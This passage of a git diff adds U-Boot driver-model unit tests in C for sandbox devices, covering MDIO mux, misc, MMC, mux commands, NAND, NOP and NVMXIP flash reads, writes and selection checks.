+ reg = dm_mdio_read(mdio_ch0, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG_CNT - 1);
+ ut_asserteq(reg, 0);
+
+ reg = dm_mdio_read(mdio_ch1, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG_CNT - 1);
+ ut_asserteq(reg, 1);
+
+ mmops->select(mux, MDIO_MUX_SELECT_NONE, 5);
+ reg = dm_mdio_read(mdio, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG_CNT - 1);
+ ut_asserteq(reg, 5);
+
+ mmops->deselect(mux, 5);
+ reg = dm_mdio_read(mdio, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG_CNT - 1);
+ ut_asserteq(reg, (u16)MDIO_MUX_SELECT_NONE);
+
+ return 0;
+}
+
+DM_TEST(dm_test_mdio_mux, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/memory.c b/test/dm/memory.c
new file mode 100644
index 00000000000..7d9500aa91d
--- /dev/null
+++ b/test/dm/memory.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2022
+ * Texas Instruments Incorporated, <www.ti.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_memory(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_MEMORY, &dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_memory, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/misc.c b/test/dm/misc.c
new file mode 100644
index 00000000000..ad856fd01b6
--- /dev/null
+++ b/test/dm/misc.c
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <misc.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_misc(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 buf[16];
+ int id;
+ ulong last_ioctl;
+ bool enabled;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "misc-test", &dev));
+
+ /* Read / write tests */
+ ut_asserteq(4, misc_write(dev, 0, "TEST", 4));
+ ut_asserteq(5, misc_write(dev, 4, "WRITE", 5));
+ ut_asserteq(9, misc_read(dev, 0, buf, 9));
+
+ ut_asserteq_mem(buf, "TESTWRITE", 9);
+
+ /* Call tests */
+
+ id = 0;
+ ut_assertok(misc_call(dev, 0, &id, 4, buf, 16));
+ ut_asserteq_mem(buf, "Zero", 4);
+
+ id = 2;
+ ut_assertok(misc_call(dev, 0, &id, 4, buf, 16));
+ ut_asserteq_mem(buf, "Two", 3);
+
+ ut_assertok(misc_call(dev, 1, &id, 4, buf, 16));
+ ut_asserteq_mem(buf, "Forty-two", 9);
+
+ id = 1;
+ ut_assertok(misc_call(dev, 1, &id, 4, buf, 16));
+ ut_asserteq_mem(buf, "Forty-one", 9);
+
+ /* IOCTL tests */
+
+ ut_assertok(misc_ioctl(dev, 6, NULL));
+ /* Read back last issued ioctl */
+ ut_assertok(misc_call(dev, 2, NULL, 0, &last_ioctl,
+ sizeof(last_ioctl)));
+ ut_asserteq(6, last_ioctl);
+
+ ut_assertok(misc_ioctl(dev, 23, NULL));
+ /* Read back last issued ioctl */
+ ut_assertok(misc_call(dev, 2, NULL, 0, &last_ioctl,
+ sizeof(last_ioctl)));
+ ut_asserteq(23, last_ioctl);
+
+ /* Enable / disable tests */
+
+ /* Read back enable/disable status */
+ ut_assertok(misc_call(dev, 3, NULL, 0, &enabled,
+ sizeof(enabled)));
+ ut_asserteq(true, enabled);
+
+ ut_assertok(misc_set_enabled(dev, false));
+ /* Read back enable/disable status */
+ ut_assertok(misc_call(dev, 3, NULL, 0, &enabled,
+ sizeof(enabled)));
+ ut_asserteq(false, enabled);
+
+ ut_assertok(misc_set_enabled(dev, true));
+ /* Read back enable/disable status */
+ ut_assertok(misc_call(dev, 3, NULL, 0, &enabled,
+ sizeof(enabled)));
+ ut_asserteq(true, enabled);
+
+ return 0;
+}
+
+DM_TEST(dm_test_misc, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mmc.c b/test/dm/mmc.c
new file mode 100644
index 00000000000..c0abea797d9
--- /dev/null
+++ b/test/dm/mmc.c
@@ -0,0 +1,53 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <mmc.h>
+#include <part.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/*
+ * Basic test of the mmc uclass. We could expand this by implementing an MMC
+ * stack for sandbox, or at least implementing the basic operation.
+ */
+static int dm_test_mmc_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_MMC, 0, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_mmc_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_mmc_blk(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct blk_desc *dev_desc;
+ int i;
+ char write[4 * 512], read[4 * 512];
+
+ ut_assertok(uclass_get_device(UCLASS_MMC, 0, &dev));
+ ut_assertok(blk_get_device_by_str("mmc", "0", &dev_desc));
+
+ /* Write a few blocks and verify that we get the same data back */
+ ut_asserteq(512, dev_desc->blksz);
+ for (i = 0; i < sizeof(write); i++)
+ write[i] = i;
+ ut_asserteq(4, blk_dwrite(dev_desc, 0, 4, write));
+ ut_asserteq(4, blk_dread(dev_desc, 0, 4, read));
+ ut_asserteq_mem(write, read, sizeof(write));
+
+ /* Now erase two of them [1 - 2] and verify all blocks */
+ memset(&write[512], '\0', 2 * 512);
+ ut_asserteq(2, blk_derase(dev_desc, 1, 2));
+ ut_asserteq(4, blk_dread(dev_desc, 0, 4, read));
+ ut_asserteq_mem(write, read, sizeof(write));
+
+ return 0;
+}
+DM_TEST(dm_test_mmc_blk, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mux-cmd.c b/test/dm/mux-cmd.c
new file mode 100644
index 00000000000..d4bb8befa38
--- /dev/null
+++ b/test/dm/mux-cmd.c
@@ -0,0 +1,177 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2020 Texas Instruments Inc.
+ * Pratyush Yadav <p.yadav@ti.com>
+ */
+#include <dm.h>
+#include <mux.h>
+#include <mux-internal.h>
+#include <dt-bindings/mux/mux.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <console.h>
+#include <rand.h>
+#include <time.h>
+
+#define BUF_SIZE 256
+
+/* Test 'mux list' */
+static int dm_test_cmd_mux_list(struct unit_test_state *uts)
+{
+ char str[BUF_SIZE], *tok;
+ struct udevice *dev;
+ struct mux_chip *chip;
+ struct mux_control *mux;
+ int i;
+ unsigned long val;
+
+ sandbox_set_enable_memio(true);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MUX, "a-mux-controller",
+ &dev));
+ chip = dev_get_uclass_priv(dev);
+ ut_assertnonnull(chip);
+
+ run_command("mux list", 0);
+ ut_assert_nextline("a-mux-controller:");
+
+ /*
+ * Check the table header to make sure we are not out of sync with the
+ * code in the command. If we are, catch it early.
+ */
+ console_record_readline(str, BUF_SIZE);
+ tok = strtok(str, " ");
+ ut_asserteq_str("ID", tok);
+
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("Selected", tok);
+
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("Current", tok);
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("State", tok);
+
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("Idle", tok);
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("State", tok);
+
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("Num", tok);
+ tok = strtok(NULL, " ");
+ ut_asserteq_str("States", tok);
+
+ for (i = 0; i < chip->controllers; i++) {
+ mux = &chip->mux[i];
+
+ console_record_readline(str, BUF_SIZE);
+
+ /*
+ * Check if the ID printed matches with the ID of the chip we
+ * have.
+ */
+ tok = strtok(str, " ");
+ ut_assertok(strict_strtoul(tok, 10, &val));
+ ut_asserteq(i, val);
+
+ /* Check if mux selection state matches. */
+ tok = strtok(NULL, " ");
+ if (mux->in_use) {
+ ut_asserteq_str("yes", tok);
+ } else {
+ ut_asserteq_str("no", tok);
+ }
+
+ /* Check if the current state matches. */
+ tok = strtok(NULL, " ");
+ if (mux->cached_state == MUX_IDLE_AS_IS) {
+ ut_asserteq_str("unknown", tok);
+ } else {
+ ut_assertok(strict_strtoul(tok, 16, &val));
+ ut_asserteq(mux->cached_state, val);
+ }
+
+ /* Check if the idle state matches */
+ tok = strtok(NULL, " ");
+ if (mux->idle_state == MUX_IDLE_AS_IS) {
+ ut_asserteq_str("as-is", tok);
+ } else {
+ ut_assertok(strict_strtoul(tok, 16, &val));
+ ut_asserteq(mux->idle_state, val);
+ }
+
+ /* Check if the number of states matches */
+ tok = strtok(NULL, " ");
+ ut_assertok(strict_strtoul(tok, 16, &val));
+ ut_asserteq(mux->states, val);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_cmd_mux_list, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_cmd_mux_select(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct mux_chip *chip;
+ struct mux_control *mux;
+ char cmd[BUF_SIZE];
+ unsigned int i, state;
+
+ sandbox_set_enable_memio(true);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MUX, "a-mux-controller",
+ &dev));
+ chip = dev_get_uclass_priv(dev);
+ ut_assertnonnull(chip);
+
+ srand(get_ticks() + rand());
+ for (i = 0; i < chip->controllers; i++) {
+ mux = &chip->mux[i];
+
+ state = rand() % mux->states;
+
+ snprintf(cmd, BUF_SIZE, "mux select a-mux-controller %x %x", i,
+ state);
+ run_command(cmd, 0);
+ ut_asserteq(!!mux->in_use, true);
+ ut_asserteq(state, mux->cached_state);
+
+ ut_assertok(mux_control_deselect(mux));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_cmd_mux_select, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_cmd_mux_deselect(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct mux_chip *chip;
+ struct mux_control *mux;
+ char cmd[BUF_SIZE];
+ unsigned int i, state;
+
+ sandbox_set_enable_memio(true);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MUX, "a-mux-controller",
+ &dev));
+ chip = dev_get_uclass_priv(dev);
+ ut_assertnonnull(chip);
+
+ srand(get_ticks() + rand());
+ for (i = 0; i < chip->controllers; i++) {
+ mux = &chip->mux[i];
+
+ state = rand() % mux->states;
+ ut_assertok(mux_control_select(mux, state));
+
+ snprintf(cmd, BUF_SIZE, "mux deselect a-mux-controller %d", i);
+ run_command(cmd, 0);
+ ut_asserteq(!!mux->in_use, false);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_cmd_mux_deselect, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mux-emul.c b/test/dm/mux-emul.c
new file mode 100644
index 00000000000..febd521104a
--- /dev/null
+++ b/test/dm/mux-emul.c
@@ -0,0 +1,105 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Texas Instruments Incorporated - https://www.ti.com/
+ * Pratyush Yadav <p.yadav@ti.com>
+ */
+#include <dm.h>
+#include <mux.h>
+#include <mux-internal.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <asm/global_data.h>
+
+struct mux_emul_priv {
+ u32 state;
+};
+
+static int mux_emul_set(struct mux_control *mux, int state)
+{
+ struct mux_emul_priv *priv = dev_get_priv(mux->dev);
+
+ priv->state = state;
+ return 0;
+}
+
+static int mux_emul_probe(struct udevice *dev)
+{
+ struct mux_chip *mux_chip = dev_get_uclass_priv(dev);
+ struct mux_control *mux;
+ u32 idle_state;
+ int ret;
+
+ ret = mux_alloc_controllers(dev, 1);
+ if (ret < 0)
+ return ret;
+
+ mux = &mux_chip->mux[0];
+
+ ret = dev_read_u32(dev, "idle-state", &idle_state);
+ if (ret)
+ return ret;
+
+ mux->idle_state = idle_state;
+ mux->states = 0x100000;
+
+ return 0;
+}
+
+static const struct mux_control_ops mux_emul_ops = {
+ .set = mux_emul_set,
+};
+
+static const struct udevice_id mux_emul_of_match[] = {
+ { .compatible = "mux-emul" },
+ { /* sentinel */ },
+};
+
+U_BOOT_DRIVER(emul_mux) = {
+ .name = "mux-emul",
+ .id = UCLASS_MUX,
+ .of_match = mux_emul_of_match,
+ .ops = &mux_emul_ops,
+ .probe = mux_emul_probe,
+ .priv_auto = sizeof(struct mux_emul_priv),
+};
+
+static int dm_test_mux_emul_default_state(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct mux_control *mux;
+ struct mux_emul_priv *priv;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev));
+ ut_assertok(mux_control_get(dev, "mux4", &mux));
+
+ priv = dev_get_priv(mux->dev);
+
+ ut_asserteq(0xabcd, priv->state);
+
+ return 0;
+}
+DM_TEST(dm_test_mux_emul_default_state, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_mux_emul_select_deselect(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct mux_control *mux;
+ struct mux_emul_priv *priv;
+
+ gd->flags &= ~(GD_FLG_SILENT | GD_FLG_RECORD);
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev));
+ ut_assertok(mux_control_get(dev, "mux4", &mux));
+
+ priv = dev_get_priv(mux->dev);
+
+ ut_assertok(mux_control_select(mux, 0x1234));
+ ut_asserteq(priv->state, 0x1234);
+
+ ut_assertok(mux_control_deselect(mux));
+ ut_asserteq(priv->state, 0xabcd);
+
+ return 0;
+}
+DM_TEST(dm_test_mux_emul_select_deselect, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mux-mmio.c b/test/dm/mux-mmio.c
new file mode 100644
index 00000000000..3a871a19c7e
--- /dev/null
+++ b/test/dm/mux-mmio.c
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2017-2018 Texas Instruments Incorporated - https://www.ti.com/
+ * Jean-Jacques Hiblot <jjhiblot@ti.com>
+ */
+
+#include <dm.h>
+#include <mux.h>
+#include <regmap.h>
+#include <syscon.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <test/ut.h>
+
+static int dm_test_mux_mmio_select(struct unit_test_state *uts)
+{
+ struct udevice *dev, *dev_b;
+ struct regmap *map;
+ struct mux_control *ctl0_a, *ctl0_b;
+ struct mux_control *ctl1;
+ struct mux_control *ctl_err;
+ u32 val;
+ int i;
+
+ sandbox_set_enable_memio(true);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "b-test",
+ &dev_b));
+ map = syscon_regmap_lookup_by_phandle(dev, "mux-syscon");
+ ut_assertok_ptr(map);
+ ut_assert(map);
+
+ ut_assertok(mux_control_get(dev, "mux0", &ctl0_a));
+ ut_assertok(mux_control_get(dev, "mux1", &ctl1));
+ ut_asserteq(-ERANGE, mux_control_get(dev, "mux3", &ctl_err));
+ ut_asserteq(-ENODATA, mux_control_get(dev, "dummy", &ctl_err));
+ ut_assertok(mux_control_get(dev_b, "mux0", &ctl0_b));
+
+ for (i = 0; i < mux_control_states(ctl0_a); i++) {
+ /* Select a new state and verify the value in the regmap. */
+ ut_assertok(mux_control_select(ctl0_a, i));
+ ut_assertok(regmap_read(map, 0, &val));
+ ut_asserteq(i, (val & 0x30) >> 4);
+ /*
+ * Deselect the mux and verify that the value in the regmap
+ * reflects the idle state (fixed to MUX_IDLE_AS_IS).
+ */
+ ut_assertok(mux_control_deselect(ctl0_a));
+ ut_assertok(regmap_read(map, 0, &val));
+ ut_asserteq(i, (val & 0x30) >> 4);
+ }
+
+ for (i = 0; i < mux_control_states(ctl1); i++) {
+ /* Select a new state and verify the value in the regmap. */
+ ut_assertok(mux_control_select(ctl1, i));
+ ut_assertok(regmap_read(map, 0xc, &val));
+ ut_asserteq(i, (val & 0x1E) >> 1);
+ /*
+ * Deselect the mux and verify that the value in the regmap
+ * reflects the idle state (fixed to 2).
+ */
+ ut_assertok(mux_control_deselect(ctl1));
+ ut_assertok(regmap_read(map, 0xc, &val));
+ ut_asserteq(2, (val & 0x1E) >> 1);
+ }
+
+ /* Try unbalanced selection/deselection. */
+ ut_assertok(mux_control_select(ctl0_a, 0));
+ ut_asserteq(-EBUSY, mux_control_select(ctl0_a, 1));
+ ut_asserteq(-EBUSY, mux_control_select(ctl0_a, 0));
+ ut_assertok(mux_control_deselect(ctl0_a));
+
+ /* Try concurrent selection. */
+ ut_assertok(mux_control_select(ctl0_a, 0));
+ ut_assert(mux_control_select(ctl0_b, 0));
+ ut_assertok(mux_control_deselect(ctl0_a));
+ ut_assertok(mux_control_select(ctl0_b, 0));
+ ut_assert(mux_control_select(ctl0_a, 0));
+ ut_assertok(mux_control_deselect(ctl0_b));
+ ut_assertok(mux_control_select(ctl0_a, 0));
+ ut_assertok(mux_control_deselect(ctl0_a));
+
+ return 0;
+}
+DM_TEST(dm_test_mux_mmio_select, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that managed API for mux work correctly */
+static int dm_test_devm_mux_mmio(struct unit_test_state *uts)
+{
+ struct udevice *dev, *dev_b;
+ struct mux_control *ctl0_a, *ctl0_b;
+ struct mux_control *ctl1;
+ struct mux_control *ctl_err;
+
+ sandbox_set_enable_memio(true);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "b-test",
+ &dev_b));
+
+ ctl0_a = devm_mux_control_get(dev, "mux0");
+ ut_assertok_ptr(ctl0_a);
+ ut_assert(ctl0_a);
+ ctl1 = devm_mux_control_get(dev, "mux1");
+ ut_assertok_ptr(ctl1);
+ ut_assert(ctl1);
+ ctl_err = devm_mux_control_get(dev, "mux3");
+ ut_asserteq(-ERANGE, PTR_ERR(ctl_err));
+ ctl_err = devm_mux_control_get(dev, "dummy");
+ ut_asserteq(-ENODATA, PTR_ERR(ctl_err));
+
+ ctl0_b = devm_mux_control_get(dev_b, "mux0");
+ ut_assertok_ptr(ctl0_b);
+ ut_assert(ctl0_b);
+
+ /* Try concurrent selection. */
+ ut_assertok(mux_control_select(ctl0_a, 0));
+ ut_assert(mux_control_select(ctl0_b, 0));
+ ut_assertok(mux_control_deselect(ctl0_a));
+ ut_assertok(mux_control_select(ctl0_b, 0));
+ ut_assert(mux_control_select(ctl0_a, 0));
+ ut_assertok(mux_control_deselect(ctl0_b));
+
+ /* Remove one device and check that the mux is released. */
+ ut_assertok(mux_control_select(ctl0_a, 0));
+ ut_assert(mux_control_select(ctl0_b, 0));
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_assertok(mux_control_select(ctl0_b, 0));
+
+ device_remove(dev_b, DM_REMOVE_NORMAL);
+ return 0;
+}
+DM_TEST(dm_test_devm_mux_mmio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/nand.c b/test/dm/nand.c
new file mode 100644
index 00000000000..0b992fdce1c
--- /dev/null
+++ b/test/dm/nand.c
@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <nand.h>
+#include <part.h>
+#include <rand.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <linux/mtd/mtd.h>
+#include <linux/mtd/rawnand.h>
+
+static int dm_test_nand(struct unit_test_state *uts, int dev, bool end)
+{
+ nand_erase_options_t opts = { };
+ struct mtd_info *mtd;
+ size_t length;
+ loff_t size;
+ char *buf;
+ int *gold;
+ u8 oob[NAND_MAX_OOBSIZE];
+ int i;
+ loff_t off = 0;
+ mtd_oob_ops_t ops = { };
+
+ /* Seed RNG for bit errors */
+ srand((off >> 32) ^ off ^ ~dev);
+
+ mtd = get_nand_dev_by_index(dev);
+ ut_assertnonnull(mtd);
+ size = mtd->erasesize * 4;
+ length = size;
+
+ buf = malloc(size);
+ ut_assertnonnull(buf);
+ gold = malloc(size);
+ ut_assertnonnull(gold);
+
+ /* Mark a block as bad */
+ ut_assertok(mtd_block_markbad(mtd, off + mtd->erasesize));
+
+ /* Erase some stuff */
+ if (end)
+ off = mtd->size - size - mtd->erasesize;
+ opts.offset = off;
+ opts.length = size;
+ opts.spread = 1;
+ opts.lim = U32_MAX;
+ ut_assertok(nand_erase_opts(mtd, &opts));
+
+ /* Make sure everything is erased */
+ memset(gold, 0xff, size);
+ ut_assertok(nand_read_skip_bad(mtd, off, &length, NULL, U64_MAX, buf));
+ ut_asserteq(size, length);
+ ut_asserteq_mem(gold, buf, size);
+
+ /* ...but our bad block marker is still there */
+ ops.oobbuf = oob;
+ ops.ooblen = mtd->oobsize;
+ ut_assertok(mtd_read_oob(mtd, mtd->erasesize, &ops));
+ ut_asserteq(0, oob[mtd_to_nand(mtd)->badblockpos]);
+
+ /* Generate some data and write it */
+ for (i = 0; i < size / sizeof(int); i++)
+ gold[i] = rand();
+ ut_assertok(nand_write_skip_bad(mtd, off, &length, NULL, U64_MAX,
+ (void *)gold, 0));
+ ut_asserteq(size, length);
+
+ /* Verify */
+ ut_assertok(nand_read_skip_bad(mtd, off, &length, NULL, U64_MAX, buf));
+ ut_asserteq(size, length);
+ ut_asserteq_mem(gold, buf, size);
+
+ /* Erase some blocks */
+ memset(((char *)gold) + mtd->erasesize, 0xff, mtd->erasesize * 2);
+ opts.offset = off + mtd->erasesize;
+ opts.length = mtd->erasesize * 2;
+ ut_assertok(nand_erase_opts(mtd, &opts));
+
+ /* Verify */
+ ut_assertok(nand_read_skip_bad(mtd, off, &length, NULL, U64_MAX, buf));
+ ut_asserteq(size, length);
+ ut_asserteq_mem(gold, buf, size);
+
+ return 0;
+}
+
+#define DM_NAND_TEST(dev) \
+static int dm_test_nand##dev##_start(struct unit_test_state *uts) \
+{ \
+ return dm_test_nand(uts, dev, false); \
+} \
+DM_TEST(dm_test_nand##dev##_start, UT_TESTF_SCAN_FDT); \
+static int dm_test_nand##dev##_end(struct unit_test_state *uts) \
+{ \
+ return dm_test_nand(uts, dev, true); \
+} \
+DM_TEST(dm_test_nand##dev##_end, UT_TESTF_SCAN_FDT)
+
+DM_NAND_TEST(0);
+DM_NAND_TEST(1);
diff --git a/test/dm/nop.c b/test/dm/nop.c
new file mode 100644
index 00000000000..0c79431d9d8
--- /dev/null
+++ b/test/dm/nop.c
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for the NOP uclass
+ *
+ * (C) Copyright 2019 - Texas Instruments Incorporated - https://www.ti.com/
+ * Jean-Jacques Hiblot <jjhiblot@ti.com>
+ */
+
+#include <dm.h>
+#include <dm/ofnode.h>
+#include <dm/lists.h>
+#include <dm/device.h>
+#include <dm/test.h>
+#include <misc.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int noptest_bind(struct udevice *parent)
+{
+ ofnode ofnode = dev_read_first_subnode(parent);
+
+ while (ofnode_valid(ofnode)) {
+ struct udevice *dev;
+ const char *bind_flag = ofnode_read_string(ofnode, "bind");
+
+ if (bind_flag && (strcmp(bind_flag, "True") == 0))
+ lists_bind_fdt(parent, ofnode, &dev, NULL, false);
+ ofnode = dev_read_next_subnode(ofnode);
+ }
+
+ return 0;
+}
+
+static const struct udevice_id noptest1_ids[] = {
+ {
+ .compatible = "sandbox,nop_sandbox1",
+ },
+ { }
+};
+
+U_BOOT_DRIVER(noptest_drv1) = {
+ .name = "noptest1_drv",
+ .of_match = noptest1_ids,
+ .id = UCLASS_NOP,
+ .bind = noptest_bind,
+};
+
+static const struct udevice_id noptest2_ids[] = {
+ {
+ .compatible = "sandbox,nop_sandbox2",
+ },
+ { }
+};
+
+U_BOOT_DRIVER(noptest_drv2) = {
+ .name = "noptest2_drv",
+ .of_match = noptest2_ids,
+ .id = UCLASS_NOP,
+};
+
+static int dm_test_nop(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_NOP, "nop-test_0", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_NOP, "nop-test_1", &dev));
+ ut_asserteq(-ENODEV,
+ uclass_get_device_by_name(UCLASS_NOP, "nop-test_2", &dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_nop, UT_TESTF_FLAT_TREE | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/nvmxip.c b/test/dm/nvmxip.c
new file mode 100644
index 00000000000..537959a0930
--- /dev/null
+++ b/test/dm/nvmxip.c
@@ -0,0 +1,146 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Functional tests for UCLASS_FFA class
+ *
+ * Copyright 2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+ *
+ * Authors:
+ * Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ */
+
+#include <blk.h>
+#include <console.h>
+#include <dm.h>
+#include <mapmem.h>
+#include <dm/test.h>
+#include <linux/bitops.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <nvmxip.h>
+
+/* NVMXIP devices described in the device tree */
+#define SANDBOX_NVMXIP_DEVICES 2
+
+/* reference device tree data for the probed devices */
+static struct nvmxip_plat nvmqspi_refdata[SANDBOX_NVMXIP_DEVICES] = {
+ {0x08000000, 9, 4096}, {0x08200000, 9, 2048}
+};
+
+#define NVMXIP_BLK_START_PATTERN 0x1122334455667788ULL
+#define NVMXIP_BLK_END_PATTERN 0xa1a2a3a4a5a6a7a8ULL
+
+/**
+ * dm_nvmxip_flash_sanity() - check flash data
+ * @uts: test state
+ * @device_idx: the NVMXIP device index
+ * @buffer: the user buffer where the blocks data is copied to
+ *
+ * Mode 1: When buffer is NULL, initialize the flash with pattern data at the start
+ * and at the end of each block. This pattern data will be used to check data consistency
+ * when verifying the data read.
+ * Mode 2: When the user buffer is provided in the argument (not NULL), compare the data
+ * of the start and the end of each block in the user buffer with the expected pattern data.
+ * Return an error when the check fails.
+ *
+ * Return:
+ *
+ * 0 on success. Otherwise, failure
+ */
+static int dm_nvmxip_flash_sanity(struct unit_test_state *uts, u8 device_idx, void *buffer)
+{
+ int i;
+ u64 *ptr;
+ u8 *base;
+ unsigned long blksz;
+
+ blksz = BIT(nvmqspi_refdata[device_idx].lba_shift);
+
+ if (!buffer) {
+ /* Mode 1: point at the flash start address. Pattern data will be written */
+ base = map_sysmem(nvmqspi_refdata[device_idx].phys_base, 0);
+ } else {
+ /* Mode 2: point at the user buffer containing the data read and to be verified */
+ base = buffer;
+ }
+
+ for (i = 0; i < nvmqspi_refdata[device_idx].lba ; i++) {
+ ptr = (u64 *)(base + i * blksz);
+
+ /* write an 8 bytes pattern at the start of the current block */
+ if (!buffer)
+ *ptr = NVMXIP_BLK_START_PATTERN;
+ else
+ ut_asserteq_64(NVMXIP_BLK_START_PATTERN, *ptr);
+
+ ptr = (u64 *)((u8 *)ptr + blksz - sizeof(u64));
+
+ /* write an 8 bytes pattern at the end of the current block */
+ if (!buffer)
+ *ptr = NVMXIP_BLK_END_PATTERN;
+ else
+ ut_asserteq_64(NVMXIP_BLK_END_PATTERN, *ptr);
+ }
+
+ if (!buffer)
+ unmap_sysmem(base);
+
+ return 0;
+}
+
+/**
+ * dm_test_nvmxip() - check flash data
+ * @uts: test state
+ * Return:
+ *
+ * CMD_RET_SUCCESS on success. Otherwise, failure
+ */
+static int dm_test_nvmxip(struct unit_test_state *uts)
+{
+ struct nvmxip_plat *plat_data = NULL;
+ struct udevice *dev = NULL, *bdev = NULL;
+ u8 device_idx;
+ void *buffer = NULL;
+ unsigned long flashsz;
+
+ sandbox_set_enable_memio(true);
+
+ /* set the flash content first for both devices */
+ dm_nvmxip_flash_sanity(uts, 0, NULL);
+ dm_nvmxip_flash_sanity(uts, 1, NULL);
+
+ /* probing all NVM XIP QSPI devices */
+ for (device_idx = 0, uclass_first_device(UCLASS_NVMXIP, &dev);
+ dev;
+ uclass_next_device(&dev), device_idx++) {
+ plat_data = dev_get_plat(dev);
+
+ /* device tree entries checks */
+ ut_assertok(nvmqspi_refdata[device_idx].phys_base != plat_data->phys_base);
+ ut_assertok(nvmqspi_refdata[device_idx].lba_shift != plat_data->lba_shift);
+ ut_assertok(nvmqspi_refdata[device_idx].lba != plat_data->lba);
+
+ /* before reading all the flash blocks, let's calculate the flash size */
+ flashsz = plat_data->lba << plat_data->lba_shift;
+
+ /* allocate the user buffer where to copy the blocks data to */
+ buffer = calloc(flashsz, 1);
+ ut_assertok(!buffer);
+
+ /* the block device is the child of the parent device probed with DT */
+ ut_assertok(device_find_first_child(dev, &bdev));
+
+ /* reading all the flash blocks */
+ ut_asserteq(plat_data->lba, blk_read(bdev, 0, plat_data->lba, buffer));
+
+ /* compare the data read from flash with the expected data */
+ dm_nvmxip_flash_sanity(uts, device_idx, buffer);
